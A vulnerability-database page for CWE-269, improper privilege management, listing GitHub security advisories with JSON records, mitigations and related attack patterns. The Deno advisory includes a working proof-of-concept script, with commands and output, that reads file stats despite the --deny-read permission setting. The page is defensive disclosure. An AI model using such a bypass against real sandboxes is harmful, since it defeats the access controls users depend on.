Common Weakness Enumeration
CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
5474 vulnerabilities reference this CWE, most recent first.
GHSA-QP5V-MR8W-R9GW
Vulnerability from github – Published: 2024-05-17 09:31 – Updated: 2024-05-17 09:31
VLAI
Details
Improper Privilege Management vulnerability in powerfulwp Local Delivery Drivers for WooCommerce allows Privilege Escalation.This issue affects Local Delivery Drivers for WooCommerce: from n/a through 1.9.0.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-51481"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T09:15:18Z",
"severity": "CRITICAL"
},
"details": "Improper Privilege Management vulnerability in powerfulwp Local Delivery Drivers for WooCommerce allows Privilege Escalation.This issue affects Local Delivery Drivers for WooCommerce: from n/a through 1.9.0.",
"id": "GHSA-qp5v-mr8w-r9gw",
"modified": "2024-05-17T09:31:01Z",
"published": "2024-05-17T09:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51481"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/local-delivery-drivers-for-woocommerce/wordpress-local-delivery-drivers-for-woocommerce-plugin-1-9-0-unauthenticated-account-takeover-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QP79-X3VG-C795
Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2022-05-24 17:19
VLAI
Details
An elevation of privilege vulnerability exists in the way that the wlansvc.dll handles objects in memory, aka 'Windows WLAN Service Elevation of Privilege Vulnerability'.
{
"affected": [],
"aliases": [
"CVE-2020-1270"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-09T20:15:00Z",
"severity": "MODERATE"
},
"details": "An elevation of privilege vulnerability exists in the way that the wlansvc.dll handles objects in memory, aka \u0027Windows WLAN Service Elevation of Privilege Vulnerability\u0027.",
"id": "GHSA-qp79-x3vg-c795",
"modified": "2022-05-24T17:19:54Z",
"published": "2022-05-24T17:19:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1270"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1270"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QP9G-XPHH-469W
Vulnerability from github – Published: 2026-01-13 21:31 – Updated: 2026-01-13 21:31
VLAI
Details
A local privilege-escalation vulnerability has been discovered in the HPE Aruba Networking Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a local attacker to achieve arbitrary code execution with root privileges.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2025-37186"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T21:15:50Z",
"severity": "HIGH"
},
"details": "A local privilege-escalation vulnerability has been discovered in the HPE Aruba Networking Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a local attacker to achieve arbitrary code execution with root privileges.",
"id": "GHSA-qp9g-xphh-469w",
"modified": "2026-01-13T21:31:46Z",
"published": "2026-01-13T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37186"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04994en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QPC6-M6HF-X62G
Vulnerability from github – Published: 2026-02-16 18:31 – Updated: 2026-02-16 18:31
VLAI
Details
A vulnerability was identified in JingDong JD Cloud Box AX6600 up to 4.5.1.r4533. Affected is the function set_stcreenen_deabled_status/get_status of the file /f/service/controlDevice of the component jdcapp_rpc. The manipulation leads to Remote Privilege Escalation. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-2563"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-16T16:19:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in JingDong JD Cloud Box AX6600 up to 4.5.1.r4533. Affected is the function set_stcreenen_deabled_status/get_status of the file /f/service/controlDevice of the component jdcapp_rpc. The manipulation leads to Remote Privilege Escalation. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-qpc6-m6hf-x62g",
"modified": "2026-02-16T18:31:28Z",
"published": "2026-02-16T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2563"
},
{
"type": "WEB",
"url": "https://my.feishu.cn/wiki/T3pjwxZtYiU4Gfkl6iUc3CzVnRe"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.346170"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.346170"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.750987"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.750992"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QPFW-4M9X-RXX8
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2024-01-02 14:13
VLAI
Summary
Improper Privilege Management in Azure ms-rest-nodeauth
Details
Azure ms-rest-nodeauth Library Elevation of Privilege Vulnerability
Severity
7.8 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.7"
},
"package": {
"ecosystem": "npm",
"name": "@azure/ms-rest-nodeauth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-28458"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-22T18:12:10Z",
"nvd_published_at": "2021-04-13T20:15:00Z",
"severity": "HIGH"
},
"details": "Azure ms-rest-nodeauth Library Elevation of Privilege Vulnerability",
"id": "GHSA-qpfw-4m9x-rxx8",
"modified": "2024-01-02T14:13:05Z",
"published": "2022-05-24T17:47:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28458"
},
{
"type": "WEB",
"url": "https://github.com/Azure/ms-rest-nodeauth/commit/1b8dcfb6d7e1c8a0a00044286021a841961cf636"
},
{
"type": "PACKAGE",
"url": "https://github.com/Azure/ms-rest-nodeauth"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28458"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Privilege Management in Azure ms-rest-nodeauth"
}
GHSA-QPM5-PWPP-HH9X
Vulnerability from github – Published: 2026-06-16 09:32 – Updated: 2026-06-16 15:33
VLAI
Details
Nokia SR Linux is vulnerable to a local privilege escalation vulnerability. Successful exploitation of this vulnerability may allow an authenticated user to execute arbitrary commands with superuser privilege.
Severity
6.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-9912"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T08:16:23Z",
"severity": "MODERATE"
},
"details": "Nokia SR Linux is vulnerable to a local privilege escalation vulnerability. Successful exploitation of this vulnerability may allow an authenticated user to execute arbitrary commands with superuser privilege.",
"id": "GHSA-qpm5-pwpp-hh9x",
"modified": "2026-06-16T15:33:47Z",
"published": "2026-06-16T09:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9912"
},
{
"type": "WEB",
"url": "https://www.nokia.com/we-are-nokia/security/product-security-advisory/cve-2025-9912"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QPPV-C8JG-W628
Vulnerability from github – Published: 2025-06-19 00:31 – Updated: 2025-06-19 00:31
VLAI
Details
A vulnerability allowing an authenticated user with the Backup Operator role to modify backup jobs, which could execute arbitrary code.
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2025-24286"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-19T00:15:22Z",
"severity": "HIGH"
},
"details": "A vulnerability allowing an authenticated user with the Backup Operator role to modify backup jobs, which could execute arbitrary code.",
"id": "GHSA-qppv-c8jg-w628",
"modified": "2025-06-19T00:31:06Z",
"published": "2025-06-19T00:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24286"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4743"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QPPX-835V-JVWP
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-03-27 21:31
VLAI
Details
Improper privilege management in Windows Remote Desktop allows an authorized attacker to elevate privileges locally.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-21533"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T18:16:35Z",
"severity": "HIGH"
},
"details": "Improper privilege management in Windows Remote Desktop allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-qppx-835v-jvwp",
"modified": "2026-03-27T21:31:32Z",
"published": "2026-02-10T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21533"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21533"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-21533-detection-script-privilege-escalation-vulnerability-in-windows-remote-desktop"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-21533-mitigation-script-privilege-escalation-vulnerability-in-windows-remote-desktop"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQ26-84MH-26J9
Vulnerability from github – Published: 2025-10-08 17:56 – Updated: 2025-10-08 17:56
VLAI
Summary
Deno's --deny-read check does not prevent permission bypass
Details
Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
- deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
Impact
Permission model bypass
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61786"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-08T17:56:40Z",
"nvd_published_at": "2025-10-08T01:15:33Z",
"severity": "LOW"
},
"details": "### Summary \n\n`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.\n\nIt\u0027s possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)\n\nSimilar APIs like `Deno.stat` and `Deno.statSync` require\u00a0`allow-read`\u00a0permission, however, when a file is opened, even with file-write only flags and deny-read permission, it\u0027s still possible to retrieve file stats, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test1.txt\n```\n\n- `poc_file.stat.ts`\n```ts\n// touch test1.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1\n// deno run --allow-write=./ poc_file.stat.ts 1\nasync function poc1(){\n using file = await Deno.open(\"./test1.txt\", { read: false, write: true});\n const fileInfo = await file.stat();\n console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2\n// deno run --allow-write=./ poc_file.stat.ts 2\nfunction poc2(){\n using file = Deno.openSync(\"./test1.txt\", { read: false, write: true});\n const fileInfo = file.statSync();\n console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3\n// deno run --allow-write=./ poc_file.stat.ts 3\nasync function poc3(){\n // not executed\n const fileInfo = await Deno.stat(\"./test1.txt\");\n console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4\n// deno run --allow-write=./ poc_file.stat.ts 4\nfunction poc4(){\n // not executed\n const fileInfo = Deno.statSync(\"./test1.txt\");\n console.log(fileInfo.isFile);\n}\n\n\nasync function main(){\n const poc = Deno.args[0] || 1;\n\n const status = await Deno.permissions.query({ name: \"read\", path: \"./\" });\n console.log(status);\n switch (poc) {\n case \"1\":\n poc1()\n break;\n case \"2\":\n poc2()\n break;\n case \"3\":\n poc3()\n break;\n case \"4\":\n poc4()\n break;\n default:\n poc1()\n }\n}\n\nmain()\n```\n\n\nOutput:\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n const fileInfo = await Deno.stat(\"./test1.txt\");\n ^\n ...\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n const fileInfo = Deno.statSync(\"./test1.txt\");\n ^\n ...\n```\n\n\n### Impact\n\nPermission model bypass",
"id": "GHSA-qq26-84mh-26j9",
"modified": "2025-10-08T17:56:40Z",
"published": "2025-10-08T17:56:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61786"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/pull/30876"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno\u0027s --deny-read check does not prevent permission bypass"
}
GHSA-QQ2J-9PF8-G58C
Vulnerability from github – Published: 2023-03-12 06:30 – Updated: 2025-03-04 22:21
VLAI
Summary
Company admin role gives excessive privileges in eZ Platform Ibexa
Details
Users with the Company admin role (introduced by the company account feature in v4) can assign any role to any user. This also applies to any other user that has the role / assign policy. Any subtree limitation in place does not have any effect.
The role / assign policy is typically only given to administrators, which limits the scope in most cases, but please verify who has this policy in your installaton. The fix ensures that subtree limitations are working as intended.
Severity
7.2 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezpublish-kernel"
},
"ranges": [
{
"events": [
{
"introduced": "7.5.0"
},
{
"fixed": "7.5.30"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezplatform-kernel"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.3.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-48365"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-13T20:57:31Z",
"nvd_published_at": "2023-03-12T05:15:00Z",
"severity": "HIGH"
},
"details": "Users with the Company admin role (introduced by the company account feature in v4) can assign any role to any user. This also applies to any other user that has the role / assign policy. Any subtree limitation in place does not have any effect.\n\nThe role / assign policy is typically only given to administrators, which limits the scope in most cases, but please verify who has this policy in your installaton. The fix ensures that subtree limitations are working as intended.",
"id": "GHSA-qq2j-9pf8-g58c",
"modified": "2025-03-04T22:21:44Z",
"published": "2023-03-12T06:30:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ezsystems/ezplatform-kernel/security/advisories/GHSA-8h83-chh2-fchp"
},
{
"type": "WEB",
"url": "https://github.com/ezsystems/ezpublish-kernel/security/advisories/GHSA-99r3-xmmq-7q7g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48365"
},
{
"type": "WEB",
"url": "https://github.com/ezsystems/ezpublish-kernel/commit/957e67a08af2b3265753f9763943e8225ed779ab"
},
{
"type": "WEB",
"url": "https://developers.ibexa.co/security-advisories/ibexa-sa-2022-009-critical-vulnerabilities-in-graphql-role-assignment-ct-editing-and-drafts-tooltips"
},
{
"type": "PACKAGE",
"url": "https://github.com/ezsystems/ezpublish-kernel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Company admin role gives excessive privileges in eZ Platform Ibexa"
}
Mitigation MIT-1
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Architecture and Design
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Architecture and Design
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.